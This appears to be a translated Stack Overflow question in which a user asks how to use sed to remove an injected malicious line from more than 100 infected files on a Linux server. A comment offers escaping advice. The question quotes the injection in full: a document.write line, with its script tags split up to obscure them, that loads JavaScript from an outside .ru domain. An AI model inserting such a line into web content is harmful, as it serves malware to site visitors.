【发布时间】:2012-11-16 05:45:02
【问题描述】:
最近我的 linux 服务器感染了恶意软件,结果,我有 100 多个文件被一行 Javascript 代码感染:
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
手动删除它太累了,所以我研究了谷歌(不太了解 linux 并没有帮助),发现我可以为此目的使用 sed。
不幸的是,我无法逃脱这条线,所以我可以使用
sed -i.bak '/line of text/d' *
语法,它充满了单引号、双引号和反斜杠。
我该如何转义字符串,或者有其他更简单的方法吗?
【问题讨论】:
-
顺便说一句,这些是斜杠,而不是反斜杠,您可以在
sed中使用其他分隔符,这样您就不必进行太多的转义。sed '\|text/with/slashes|d'。不幸的是,引号是另一回事。